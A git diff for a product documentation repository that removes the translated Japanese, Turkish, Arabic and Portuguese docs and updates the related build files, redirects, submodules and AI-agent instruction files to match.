diff --git a/.claude/skills/add-guide-version/SKILL.md b/.claude/skills/add-guide-version/SKILL.md index d7e58715ee..44739b4309 100644 --- a/.claude/skills/add-guide-version/SKILL.md +++ b/.claude/skills/add-guide-version/SKILL.md @@ -101,7 +101,6 @@ The author provides: * The version number in mkdocs config filenames corresponds to the **NGINX Node** major version. The documentation covers both NGINX and Native Node. * The new version may initially serve under `//` (not at root) until it becomes the default. -* Translation configs (`mkdocs-ja-*.yml`, etc.) may also need new version configs — check with the author. ## Do NOT diff --git a/.claude/skills/deprecate-guide-version/SKILL.md b/.claude/skills/deprecate-guide-version/SKILL.md index 97047f2284..ad814661b7 100644 --- a/.claude/skills/deprecate-guide-version/SKILL.md +++ b/.claude/skills/deprecate-guide-version/SKILL.md @@ -105,13 +105,6 @@ The author provides: * All remaining version builds succeed * No broken includes or cross-references remain -## Translation configs - -If there are translation configs for the deprecated version (e.g., `mkdocs-ja-.yml`): -* Delete the translation config files -* Delete corresponding translation content folders (e.g., `docs/ja-/` if separate) -* Remove their build commands from `netlify.toml` and `Dockerfile` - ## Do NOT * Delete the `docs/deprecated/` folder — it contains the stub page for all deprecated versions diff --git a/.claude/skills/update-feature-docs/SKILL.md b/.claude/skills/update-feature-docs/SKILL.md index b6ded3eb5b..8867578c16 100644 --- a/.claude/skills/update-feature-docs/SKILL.md +++ b/.claude/skills/update-feature-docs/SKILL.md @@ -72,17 +72,17 @@ Batch related questions. Prefer multi-option questions with concrete choices ove | **New feature** | Capability did not exist before | New page + updates to overview/setup/related pages | | **Changed functionality** | Existing feature redesigned, new API/UI/config | Rewrite or extend existing pages, possibly add/remove pages | | **Fix** | Something is wrong or missing in current docs | Targeted edits to 1-3 files | - | **Removal** | Feature/product discontinued; "remove all docs for X", "purge X from the site" | Delete pages, wrappers, nav entries, related sections, images, **including across all versions AND all translation directories** — see "Removal across all languages" below | + | **Removal** | Feature/product discontinued; "remove all docs for X", "purge X from the site" | Delete pages, wrappers, nav entries, related sections, images **across all versions** — see "Removal across versions" below | 4. **Find all affected pages**: grep for the feature name, key terms, and related concepts across `docs/latest/` and `include/`. List every hit, including ones that look unrelated — read the surrounding paragraphs before dismissing. - **For removal tasks**, broaden the grep to cover every version dir AND every translation dir from the start: + **For removal tasks**, broaden the grep to cover every version dir from the start: ```bash - grep -rln "" docs/ include/ include-*/ mkdocs-*.yml + grep -rln "" docs/ include/ mkdocs-*.yml ``` - Translated sources live under `docs/latest-ja/`, `docs/latest-tr/`, `docs/latest-ar/`, `docs/latest-pt-BR/`. Version wrappers live under `docs/{5.0,6.x,7.x,ja,tr,ar,pt-BR}/`. Translated terms also need to be searched (e.g., "オンプレ" for Japanese, "şirket içi" for Turkish, "في الموقع" for Arabic, "no local" / "implantação local" for Portuguese) — ask the author for the translated term, or check the existing translated source file before deciding. + Version wrappers live under `docs/{5.0,6.x,7.x}/`. 5. **Read each affected page** fully before making changes. 6. **Surface discrepancies to the author.** If the repo describes the feature differently from the author's description, if two existing pages contradict each other, or if you found related areas the author did not mention — raise them now, before scoping further. @@ -147,37 +147,30 @@ Batch related questions. Prefer multi-option questions with concrete choices ove * Skip this step for fixes, config tweaks, performance improvements, and other non-capability changes — those do not get table rows. 15. **If pages were renamed or deleted**: - * Add a redirect in `_redirects` (the active root version's `_redirects`, plus the next-root's, plus any language-specific `docs//_redirects` that exist) - * Update nav in every `mkdocs-*.yml` — including the translation configs (`mkdocs-ja-*.yml`, `mkdocs-tr-*.yml`, `mkdocs-ar-*.yml`, `mkdocs-pt-BR-*.yml`) when the deletion is meant to apply across all languages + * Add a redirect in `_redirects` (the active root version's `_redirects`, plus the next-root's) * Fix all inbound cross-references - **Removal across all languages.** When the request is "remove all documentation for X from the site" (typically a discontinued product/feature), the cleanup must include translations even though CLAUDE.md normally says "do not edit translated files". This is an explicit override — the translated content is stale because it describes something that no longer exists. Touch all of the following: + **Removal across versions.** When the request is "remove all documentation for X from the site" (typically a discontinued product/feature), the cleanup must reach every version, not just `docs/latest/`. Touch all of the following: | Surface | Files | |---------|-------| - | English sources | `docs/latest/` | - | English version dirs | `docs/{5.0,6.x,7.x}/` (wrappers or frozen full copies — check) | - | Translated sources | `docs/latest-ja/`, `docs/latest-tr/`, `docs/latest-ar/`, `docs/latest-pt-BR/` (full translated files) | - | Translation version dirs | `docs/{ja,tr,ar,pt-BR}/` (wrappers, usually) | - | mkdocs nav | `mkdocs-*.yml` for every active English version AND every translation config (`mkdocs-ja-6.x.yml`, `mkdocs-tr-6.x.yml`, `mkdocs-ar-4.10.yml`, `mkdocs-pt-BR-4.8.yml`) | - | Shared includes | `include/` and `include-ja/`, `include-tr/` (other translation includes exist but typically have no equivalent file) | - | Redirects | `docs/{5.0,6.x,7.x,ja,tr,ar,pt-BR}/_redirects` (only those that exist; English roots are the main ones) | + | Sources | `docs/latest/` | + | Version dirs | `docs/{5.0,6.x,7.x}/` (wrappers or frozen full copies — check) | + | mkdocs nav | `mkdocs-*.yml` for every active version (e.g., `mkdocs-6.x.yml`, `mkdocs-7.x.yml`) | + | Shared includes | `include/` | + | Redirects | `docs/{5.0,6.x,7.x}/_redirects` (only those that exist; the root version is the main one) | | Images | `images/` (single shared source; remove only if no surviving page references them) | | Auto-generated LLM indexes | `docs/{6.x,7.x}/llms.md` and `llms.txt` — pruning is optional (they regenerate), but cleaner to scrub in the same PR | Watch for **frozen full copies in older version dirs**: when a version stops being root, version-specific pages get copied from `docs/latest/` into that older version dir as full files (instead of `--8<-- "latest/..."` wrappers). For removals, these frozen copies must be edited directly — they will not follow updates to `docs/latest/`. Verify each affected path in each version dir individually: ```bash - for v in 5.0 6.x 7.x ar ja tr pt-BR; do + for v in 5.0 6.x 7.x; do head -1 "docs/$v/" 2>/dev/null | grep -q "8<--" \ && echo "$v: wrapper" || echo "$v: FULL — needs direct edit" done ``` - For translation full files, edit them in their native language. Match the existing translation's voice — do not introduce English terms where a translated equivalent is already established (check the surrounding paragraphs). For terminology you cannot translate confidently, prefer deleting the stale phrase rather than inventing wording. The auto-translation pipeline will eventually catch up, but stale references to a removed product must not survive in the interim. - - Translation cleanup is not optional polish — it is part of "the content is no longer accessible on the public site", since translation URLs serve from the same domain. - 15. **Update related pages**: overview/landing pages always. Add an entry to `updating-migrating/what-is-new.md` only if this is a user-visible capability or behavior change — skip it for fixes, terminology updates, internal restructuring, and screenshot refreshes. ### Phase 5: Validate @@ -273,7 +266,7 @@ Started as a single page, evolved through: draft → review rewrite → companio Smaller-scope: parameter names changed, UI screenshots outdated, new options added. Usually 1-3 files, not full rewrites. ### Removal: discontinued On-Premise product -Whole product line retired. Required deleting source pages in `docs/latest/installation/on-premise/`, wrappers in every version dir (`5.0/`, `6.x/`, `7.x/`), translated full sources in `docs/latest-ja/` and `docs/latest-tr/`, translation wrappers in `docs/{ar,ja,tr,pt-BR}/`, removing nav entries from 7 mkdocs configs (3 English + 4 translation), pruning the "On-Premise" item from `include/deployment-forms.md` + the `include-ja/` and `include-tr/` equivalents, removing the dedicated `## On-Premise` section from `shared-responsibility.md` across all language sources (where it existed), rewriting generic mentions of "on-premise" to "self-hosted" (and the translated equivalents), removing the "On-Premise" card from `installation/supported-deployment-options.md` in 6.x/7.x/5.0 and in every translation version dir, deleting the on-premise images, adding redirects from the deleted URLs to `installation/supported-deployment-options/` in each `_redirects` file, and scrubbing the On-Premise entries from `llms.md` / `llms.txt`. ~40+ files touched. The acceptance criterion was URL inaccessibility — translations had to be cleaned too because they serve from the same domain. +Whole product line retired. Required deleting source pages in `docs/latest/installation/on-premise/`, wrappers in every version dir (`5.0/`, `6.x/`, `7.x/`), removing nav entries from the mkdocs configs, pruning the "On-Premise" item from `include/deployment-forms.md`, removing the dedicated `## On-Premise` section from `shared-responsibility.md`, rewriting generic mentions of "on-premise" to "self-hosted", removing the "On-Premise" card from `installation/supported-deployment-options.md` in 6.x/7.x/5.0, deleting the on-premise images, adding redirects from the deleted URLs to `installation/supported-deployment-options/` in each `_redirects` file, and scrubbing the On-Premise entries from `llms.md` / `llms.txt`. ~30+ files touched. The acceptance criterion was URL inaccessibility across every version. ## Do NOT @@ -285,4 +278,4 @@ Whole product line retired. Required deleting source pages in `docs/latest/insta * When creating new pages, omit any of: wrappers in every active version directory, nav entries in every `mkdocs-*.yml`, inbound links from overview/landing pages — they must all land in the same PR * Rename or delete pages without adding a redirect in `_redirects` and fixing every inbound cross-reference * Add an entry to `what-is-new.md` for fixes, terminology, or internal restructuring — reserve it for user-visible capability or behavior changes -* For a "remove all docs for X" request, stop at `docs/latest/` and the English version dirs — translations under `docs/latest-*/`, `docs/{ja,tr,ar,pt-BR}/`, and translation mkdocs configs (`mkdocs-{ja,tr,ar,pt-BR}-*.yml`) must be cleaned in the same PR. The "do not edit translated files" rule from CLAUDE.md is overridden for explicit removal requests, because stale translations would otherwise keep the discontinued content publicly accessible at translated URLs. \ No newline at end of file +* For a "remove all docs for X" request, stop at `docs/latest/` — the version dirs (`docs/{5.0,6.x,7.x}/`, wrappers or frozen full copies) and every `mkdocs-*.yml` nav must be cleaned in the same PR, or the discontinued content stays publicly accessible at versioned URLs. \ No newline at end of file diff --git a/.gitmodules b/.gitmodules index bd5e4483ad..a47bca2b9d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -4,27 +4,3 @@ [submodule "docs/latest/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm"] path = docs/latest/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm url = https://github.com/wallarm/terraform-aws-wallarm -[submodule "docs/latest-ja/installation/oob/terraform-module/terraform-aws-wallarm"] - path = docs/latest-ja/installation/oob/terraform-module/terraform-aws-wallarm - url = https://github.com/wallarm/terraform-aws-wallarm -[submodule "docs/latest-ja/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm"] - path = docs/latest-ja/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm - url = https://github.com/wallarm/terraform-aws-wallarm -[submodule "docs/latest-tr/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm"] - path = docs/latest-tr/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm - url = https://github.com/wallarm/terraform-aws-wallarm -[submodule "docs/latest-tr/installation/oob/terraform-module/terraform-aws-wallarm"] - path = docs/latest-tr/installation/oob/terraform-module/terraform-aws-wallarm - url = https://github.com/wallarm/terraform-aws-wallarm -[submodule "docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm"] - path = docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm - url = https://github.com/wallarm/terraform-aws-wallarm -[submodule "docs/latest-pt-BR/installation/oob/terraform-module/terraform-aws-wallarm"] - path = docs/latest-pt-BR/installation/oob/terraform-module/terraform-aws-wallarm - url = https://github.com/wallarm/terraform-aws-wallarm -[submodule "docs/latest-ar/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm"] - path = docs/latest-ar/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm - url = https://github.com/wallarm/terraform-aws-wallarm -[submodule "docs/latest-ar/installation/oob/terraform-module/terraform-aws-wallarm"] - path = docs/latest-ar/installation/oob/terraform-module/terraform-aws-wallarm - url = https://github.com/wallarm/terraform-aws-wallarm diff --git a/CLAUDE.md b/CLAUDE.md index 565b0631df..f44844bccf 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -69,16 +69,10 @@ Each active version has its own config: All configs inherit from `mkdocs-base.yml` (shared plugins, extensions, theme settings). The root version is controlled by `rootVersion` in `stylesheets/extra.js` and `site_dir` in the config. -### Translations - -Docs are written in English. Translation configs (`mkdocs-ja-6.x.yml`, `mkdocs-tr-6.x.yml`, etc.) and translation snippets (`include-ja/`, `include-ar/`, etc.) exist in the repo but the auto-translation pipeline is not yet in place. Do NOT edit translated files directly — they will be auto-generated from English sources. - ### Reusable content (includes) ``` include/ ← English snippets shared across pages -include-ja/ ← Japanese translated snippets -include-ar/ ← Arabic translated snippets ``` Referenced from docs via `--8<-- "../include/snippet.md"`. The snippet base path is `docs/` (configured in `mkdocs-base.yml` under `pymdownx.snippets`), so paths in snippet directives are relative to the `docs/` directory. @@ -155,4 +149,3 @@ Follow these guides before writing or editing any content: * Do NOT skip header levels for styling * Do NOT start titles with articles ("The configuration of...") * Do NOT rename or delete a page without adding a redirect in `docs/6.x/_redirects` -* Do NOT edit translated files (`docs/ja/`, `docs/tr/`, `include-ja/`, etc.) — translations are auto-generated from English diff --git a/Dockerfile b/Dockerfile index 48a86105ea..2cc74b8159 100644 --- a/Dockerfile +++ b/Dockerfile @@ -12,10 +12,6 @@ RUN cp -R images/ docs/6.x/images/ && zensical build -f mkdocs-6.x.yml && python RUN cp -R images/ docs/7.x/images/ && zensical build -f mkdocs-7.x.yml && python3 scripts/generate_raw_markdown.py mkdocs-7.x.yml && rm -rf docs/7.x/images/ RUN cp -R images/ docs/5.0/images/ && zensical build -f mkdocs-5.0.yml && python3 scripts/generate_raw_markdown.py mkdocs-5.0.yml && rm -rf docs/5.0/images/ RUN cp -R images/ docs/deprecated/images/ && zensical build -f mkdocs-deprecated.yml && rm -rf docs/deprecated/images/ -RUN cp -R images/ docs/ja/images/ && zensical build -f mkdocs-ja-6.x.yml && rm -rf docs/ja/images/ -RUN cp -R images/ docs/tr/images/ && zensical build -f mkdocs-tr-6.x.yml && rm -rf docs/tr/images/ -RUN cp -R images/ docs/pt-BR/images/ && zensical build -f mkdocs-pt-BR-4.8.yml && rm -rf docs/pt-BR/images/ -RUN cp -R images/ docs/ar/images/ && zensical build -f mkdocs-ar-4.10.yml && rm -rf docs/ar/images/ FROM nginx:1.18-alpine AS prod COPY --from=build /docs/site /usr/share/nginx/html diff --git a/docs/6.x/_redirects b/docs/6.x/_redirects index be7c8cb29d..7f67e70623 100644 --- a/docs/6.x/_redirects +++ b/docs/6.x/_redirects @@ -499,7 +499,6 @@ /admin-en/supported-platforms/ /installation/supported-deployment-options/ /4.4/admin-en/supported-platforms/ /4.4/installation/supported-deployment-options/ /4.2/admin-en/supported-platforms/ /4.2/installation/supported-deployment-options/ -/ja/admin-en/supported-platforms/ /ja/installation/supported-deployment-options/ /4.4/ja/admin-en/supported-platforms/ /4.4/ja/installation/supported-deployment-options/ /faq/nginx-compatibility/ /installation/custom/custom-nginx-version/ @@ -516,8 +515,6 @@ /user-guides/rules/change-request-for-active-verification/ /vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /4.4/admin-en/attack-rechecker-best-practices/ /4.4/vulnerability-detection/active-threat-verification/running-test-on-staging/ /4.4/user-guides/rules/change-request-for-active-verification/ /4.4/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ -/ja/admin-en/attack-rechecker-best-practices/ /ja/vulnerability-detection/active-threat-verification/running-test-on-staging/ -/ja/user-guides/rules/change-request-for-active-verification/ /ja/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /about-wallarm/api-discovery/ /api-discovery/overview/ /user-guides/api-discovery/ /api-discovery/exploring/ @@ -562,19 +559,7 @@ /4.8/user-guides/triggers/trigger-examples/#group-hits-originating-from-the-same-ip-into-one-attack /4.8/user-guides/events/analyze-attack/#grouping-of-hits /4.8/user-guides/bola-protection/ /4.8/admin-en/configuration-guides/protecting-against-bola/ -/tr/2.18/user-guides/nodes/cloud-node/ /tr/user-guides/nodes/nodes/ -/tr/2.18/user-guides/nodes/regular-node/ /tr/user-guides/nodes/nodes/ -/tr/2.18/admin-en/configure-ip-blocking-nginx-en/ /tr/user-guides/ip-lists/overview/ -/tr/3.6/installation/multi-tenant/configure-accounts/ /installation/multi-tenant/configure-accounts/ -/tr/2.18/admin-en/configure-parameters-en/ /tr/admin-en/configure-parameters-en/ -/tr/2.18/admin-en/configuration-guides/envoy/fine-tuning/ /tr/admin-en/configuration-guides/envoy/fine-tuning/ -/tr/2.18/admin-en/scanner-ips-allowlisting/ /tr/user-guides/ip-lists/overview/ -/tr/2.18/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-helm/ /tr/installation/kubernetes/sidecar-proxy/deployment/ -/tr/2.18/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/allowlist-wallarm-ip-addresses/ /tr/user-guides/ip-lists/overview/ -/ja/4.8/user-guides/rules/rules/ /ja/4.8/user-guides/rules/rules/ -/tr/4.8/user-guides/rules/rules/ /tr/4.8/user-guides/rules/rules/ -/pt-br/4.8/user-guides/rules/rules/ /pt-br/4.8/user-guides/rules/rules/ /user-guides/rules/intro/ /user-guides/rules/rules/ /user-guides/rules/add-rule/ /user-guides/rules/rules/#configuring @@ -603,8 +588,6 @@ /4.8/user-guides/rules/api-abuse-url/ /4.8/api-abuse-prevention/exceptions/#exceptions-for-target-urls-and-specific-requests /api-policy-enforcement/* /api-specification-enforcement/:splat -/ja/api-policy-enforcement/* /ja/api-specification-enforcement/:splat -/ar/api-policy-enforcement/* /ar/api-specification-enforcement/:splat /about-wallarm/api-abuse-prevention/ /api-abuse-prevention/overview/ /user-guides/api-abuse-prevention/ /api-abuse-prevention/setup/ @@ -618,22 +601,6 @@ /4.6/user-guides/api-abuse-prevention/ /4.6/api-abuse-prevention/setup/ /4.6/user-guides/api-abuse-prevention-exceptions/ /4.6/api-abuse-prevention/exceptions/ /4.6/user-guides/api-abuse-prevention-explore/ /4.6/api-abuse-prevention/exploring-bots/ -/ja/about-wallarm/api-abuse-prevention/ /ja/api-abuse-prevention/overview/ -/ja/user-guides/api-abuse-prevention/ /ja/api-abuse-prevention/setup/ -/ja/user-guides/api-abuse-prevention-exceptions/ /ja/api-abuse-prevention/exceptions/ -/ja/user-guides/api-abuse-prevention-explore/ /ja/api-abuse-prevention/exploring-bots/ -/tr/about-wallarm/api-abuse-prevention/ /tr/api-abuse-prevention/overview/ -/tr/user-guides/api-abuse-prevention/ /tr/api-abuse-prevention/setup/ -/tr/user-guides/api-abuse-prevention-exceptions/ /tr/api-abuse-prevention/exceptions/ -/tr/user-guides/api-abuse-prevention-explore/ /tr/api-abuse-prevention/exploring-bots/ -/pt-br/about-wallarm/api-abuse-prevention/ /pt-br/api-abuse-prevention/overview/ -/pt-br/user-guides/api-abuse-prevention/ /pt-br/api-abuse-prevention/setup/ -/pt-br/user-guides/api-abuse-prevention-exceptions/ /pt-br/api-abuse-prevention/exceptions/ -/pt-br/user-guides/api-abuse-prevention-explore/ /pt-br/api-abuse-prevention/exploring-bots/ -/ar/about-wallarm/api-abuse-prevention/ /ar/api-abuse-prevention/overview/ -/ar/user-guides/api-abuse-prevention/ /ar/api-abuse-prevention/setup/ -/ar/user-guides/api-abuse-prevention-exceptions/ /ar/api-abuse-prevention/exceptions/ -/ar/user-guides/api-abuse-prevention-explore/ /ar/api-abuse-prevention/exploring-bots/ /4.10/installation/inline/compute-instances/linux/individual-packages-nginx-distro/ /4.10/updating-migrating/nginx-modules/ /4.10/installation/inline/compute-instances/linux/individual-packages-nginx-plus/ /4.10/updating-migrating/nginx-modules/ @@ -656,14 +623,6 @@ /about-wallarm/attack-surface/ /api-attack-surface/overview/ /about-wallarm/api-leaks/ /api-attack-surface/api-leaks/ -/ja/about-wallarm/attack-surface/ /ja/api-attack-surface/overview/ -/ja/about-wallarm/api-leaks/ /ja/api-attack-surface/api-leaks/ -/tr/about-wallarm/attack-surface/ /tr/api-attack-surface/overview/ -/tr/about-wallarm/api-leaks/ /tr/api-attack-surface/api-leaks/ -/pt-br/about-wallarm/attack-surface/ /pt-br/api-attack-surface/overview/ -/pt-br/about-wallarm/api-leaks/ /pt-br/api-attack-surface/api-leaks/ -/ar/about-wallarm/attack-surface/ /ar/api-attack-surface/overview/ -/ar/about-wallarm/api-leaks/ /ar/api-attack-surface/api-leaks/ /user-guides/events/analyze-attack/ /user-guides/events/check-attack/ /user-guides/events/false-attack/ /user-guides/events/check-attack/ @@ -694,35 +653,15 @@ /4.10/installation/api-gateways/apigee/ /4.10/installation/connectors/apigee/ /4.10/installation/api-gateways/layer7-api-gateway/ /4.10/installation/connectors/layer7-api-gateway/ -/ar/installation/cdn/akamai-edgeworkers/ /ar/installation/connectors/akamai-edgeworkers/ -/ar/installation/cdn/azion-edge/ /ar/installation/connectors/azion-edge/ -/ar/installation/cdn/aws-lambda/ /ar/installation/connectors/aws-lambda/ -/ar/installation/cdn/cloudflare/ /ar/installation/connectors/cloudflare/ -/ja/installation/cdn/akamai-edgeworkers/ /ja/installation/connectors/akamai-edgeworkers/ -/ja/installation/cdn/azion-edge/ /ja/installation/connectors/azion-edge/ -/ja/installation/cdn/aws-lambda/ /ja/installation/connectors/aws-lambda/ -/ja/installation/cdn/cloudflare/ /ja/installation/connectors/cloudflare/ -/pt-br/installation/cdn/akamai-edgeworkers/ /pt-br/installation/connectors/akamai-edgeworkers/ -/pt-br/installation/cdn/azion-edge/ /pt-br/installation/connectors/azion-edge/ -/pt-br/installation/cdn/aws-lambda/ /pt-br/installation/connectors/aws-lambda/ -/pt-br/installation/cdn/cloudflare/ /pt-br/installation/connectors/cloudflare/ -/tr/installation/cdn/akamai-edgeworkers/ /tr/installation/connectors/akamai-edgeworkers/ -/tr/installation/cdn/azion-edge/ /tr/installation/connectors/azion-edge/ -/tr/installation/cdn/aws-lambda/ /tr/installation/connectors/aws-lambda/ -/tr/installation/cdn/cloudflare/ /tr/installation/connectors/cloudflare/ /installation/oob/tcp-traffic-mirror/configuration/ /installation/native-node/all-in-one-conf/ /api-attack-surface/api-leaks/ /api-attack-surface/security-issues/ /4.10/api-attack-surface/api-leaks/ /4.10/api-attack-surface/security-issues/ /4.8/api-attack-surface/api-leaks/ /4.8/api-attack-surface/security-issues/ -/tr/api-attack-surface/api-leaks/ /tr/api-attack-surface/security-issues/ -/pt-br/api-attack-surface/api-leaks/ /pt-br/api-attack-surface/security-issues/ -/ja/api-attack-surface/api-leaks/ /ja/api-attack-surface/security-issues/ -/ar/api-attack-surface/api-leaks/ /ar/api-attack-surface/security-issues/ /api-sessions/ /api-sessions/overview/ @@ -740,22 +679,6 @@ /4.8/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /4.8/vulnerability-detection/threat-replay-testing/setup/#enable /4.8/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /4.8/vulnerability-detection/threat-replay-testing/setup/#rewrites /4.8/vulnerability-detection/active-threat-verification/running-test-on-staging/ /4.8/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/tr/vulnerability-detection/active-threat-verification/overview/ /tr/vulnerability-detection/threat-replay-testing/overview/ -/tr/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /tr/vulnerability-detection/threat-replay-testing/setup/#enable -/tr/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /tr/vulnerability-detection/threat-replay-testing/setup/#rewrites -/tr/vulnerability-detection/active-threat-verification/running-test-on-staging/ /tr/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/pt-br/vulnerability-detection/active-threat-verification/overview/ /pt-br/vulnerability-detection/threat-replay-testing/overview/ -/pt-br/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /pt-br/vulnerability-detection/threat-replay-testing/setup/#enable -/pt-br/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /pt-br/vulnerability-detection/threat-replay-testing/setup/#rewrites -/pt-br/vulnerability-detection/active-threat-verification/running-test-on-staging/ /pt-br/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/ja/vulnerability-detection/active-threat-verification/overview/ /ja/vulnerability-detection/threat-replay-testing/overview/ -/ja/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /ja/vulnerability-detection/threat-replay-testing/setup/#enable -/ja/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /ja/vulnerability-detection/threat-replay-testing/setup/#rewrites -/ja/vulnerability-detection/active-threat-verification/running-test-on-staging/ /ja/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/ar/vulnerability-detection/active-threat-verification/overview/ /ar/vulnerability-detection/threat-replay-testing/overview/ -/ar/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /ar/vulnerability-detection/threat-replay-testing/setup/#enable -/ar/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /ar/vulnerability-detection/threat-replay-testing/setup/#rewrites -/ar/vulnerability-detection/active-threat-verification/running-test-on-staging/ /ar/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host /admin-en/configuration-guides/sso/employ-user-auth/ /admin-en/configuration-guides/sso/intro/#available-options /admin-en/configuration-guides/sso/change-sso-provider/ /admin-en/configuration-guides/sso/setup/#disabling-and-deletion @@ -772,26 +695,6 @@ /4.8/user-guides/use-sso/ /4.8/admin-en/configuration-guides/sso/intro/ /4.8/admin-en/configuration-guides/sso/gsuite/* /4.8/admin-en/configuration-guides/sso/sso-gsuite/ /4.8/admin-en/configuration-guides/sso/okta/* /4.8/admin-en/configuration-guides/sso/sso-okta/ -/tr/admin-en/configuration-guides/sso/employ-user-auth/ /tr/admin-en/configuration-guides/sso/intro/#available-options -/tr/admin-en/configuration-guides/sso/change-sso-provider/ /tr/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/tr/user-guides/use-sso/ /tr/admin-en/configuration-guides/sso/intro/ -/tr/admin-en/configuration-guides/sso/gsuite/* /tr/admin-en/configuration-guides/sso/sso-gsuite/ -/tr/admin-en/configuration-guides/sso/okta/* /tr/admin-en/configuration-guides/sso/sso-okta/ -/ar/admin-en/configuration-guides/sso/employ-user-auth/ /ar/admin-en/configuration-guides/sso/intro/#available-options -/ar/admin-en/configuration-guides/sso/change-sso-provider/ /ar/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/ar/user-guides/use-sso/ /ar/admin-en/configuration-guides/sso/intro/ -/ar/admin-en/configuration-guides/sso/gsuite/* /ar/admin-en/configuration-guides/sso/sso-gsuite/ -/ar/admin-en/configuration-guides/sso/okta/* /ar/admin-en/configuration-guides/sso/sso-okta/ -/ja/admin-en/configuration-guides/sso/employ-user-auth/ /ja/admin-en/configuration-guides/sso/intro/#available-options -/ja/admin-en/configuration-guides/sso/change-sso-provider/ /ja/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/ja/user-guides/use-sso/ /ja/admin-en/configuration-guides/sso/intro/ -/ja/admin-en/configuration-guides/sso/gsuite/* /ja/admin-en/configuration-guides/sso/sso-gsuite/ -/ja/admin-en/configuration-guides/sso/okta/* /ja/admin-en/configuration-guides/sso/sso-okta/ -/pt-br/admin-en/configuration-guides/sso/employ-user-auth/ /pt-br/admin-en/configuration-guides/sso/intro/#available-options -/pt-br/admin-en/configuration-guides/sso/change-sso-provider/ /pt-br/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/pt-br/user-guides/use-sso/ /pt-br/admin-en/configuration-guides/sso/intro/ -/pt-br/admin-en/configuration-guides/sso/gsuite/* /pt-br/admin-en/configuration-guides/sso/sso-gsuite/ -/pt-br/admin-en/configuration-guides/sso/okta/* /pt-br/admin-en/configuration-guides/sso/sso-okta/ /installation/oob/terraform-module/mirroring-by-web-server/ /installation/oob/overview/#supported-deployment-options /installation/oob/web-server-mirroring/aws-ami/ /installation/oob/overview/#supported-deployment-options @@ -801,10 +704,6 @@ /installation/oob/web-server-mirroring/overview/ /installation/oob/overview/#supported-deployment-options /admin-en/monitoring/* /admin-en/configure-statistics-service/ -/tr/admin-en/monitoring/* /tr/admin-en/configure-statistics-service/ -/ar/admin-en/monitoring/* /ar/admin-en/configure-statistics-service/ -/pt-br/admin-en/monitoring/* /pt-br/admin-en/configure-statistics-service/ -/ja/admin-en/monitoring/* /ja/admin-en/configure-statistics-service/ /admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ /installation/multi-tenant/overview/ /admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ /installation/multi-tenant/overview/ @@ -848,10 +747,6 @@ /user-guides/scanner/ /api-attack-surface/api-surface/#replacement-of-old-scanner /5.x/user-guides/scanner/ /5.x/api-attack-surface/api-surface/#replacement-of-old-scanner /4.10/user-guides/scanner/ /4.10/api-attack-surface/api-surface/#replacement-of-old-scanner -/ar/user-guides/scanner/ /ar/api-attack-surface/api-surface/#replacement-of-old-scanner -/tr/user-guides/scanner/ /tr/api-attack-surface/api-surface/#replacement-of-old-scanner -/ja/user-guides/scanner/ /ja/api-attack-surface/api-surface/#replacement-of-old-scanner -/pt-br/user-guides/scanner/ /pt-br/api-attack-surface/api-surface/#replacement-of-old-scanner /2.18/* /updating-migrating/older-versions/what-is-new/ @@ -880,14 +775,6 @@ /5.x/installation/on-premise/ /5.x/installation/supported-deployment-options/ /5.x/installation/on-premise/* /5.x/installation/supported-deployment-options/ /4.10/installation/on-premise/ /4.10/installation/supported-deployment-options/ -/ja/installation/on-premise/ /ja/installation/supported-deployment-options/ -/ja/installation/on-premise/* /ja/installation/supported-deployment-options/ -/tr/installation/on-premise/ /tr/installation/supported-deployment-options/ -/tr/installation/on-premise/* /tr/installation/supported-deployment-options/ -/pt-br/installation/on-premise/ /pt-br/installation/supported-deployment-options/ -/pt-br/installation/on-premise/* /pt-br/installation/supported-deployment-options/ -/ar/installation/on-premise/ /ar/installation/supported-deployment-options/ -/ar/installation/on-premise/* /ar/installation/supported-deployment-options/ /installation/connectors/istio-inline/ /installation/connectors/istio/ /5.x/installation/connectors/istio-inline/ /5.x/installation/connectors/istio/ @@ -903,10 +790,6 @@ /vulnerability-detection/api-test-patrol/* /vulnerability-detection/schema-based-testing/:splat /5.x/vulnerability-detection/api-test-patrol/* /5.x/vulnerability-detection/schema-based-testing/:splat /4.10/vulnerability-detection/api-test-patrol/* /4.10/vulnerability-detection/schema-based-testing/:splat -/ja/vulnerability-detection/api-test-patrol/* 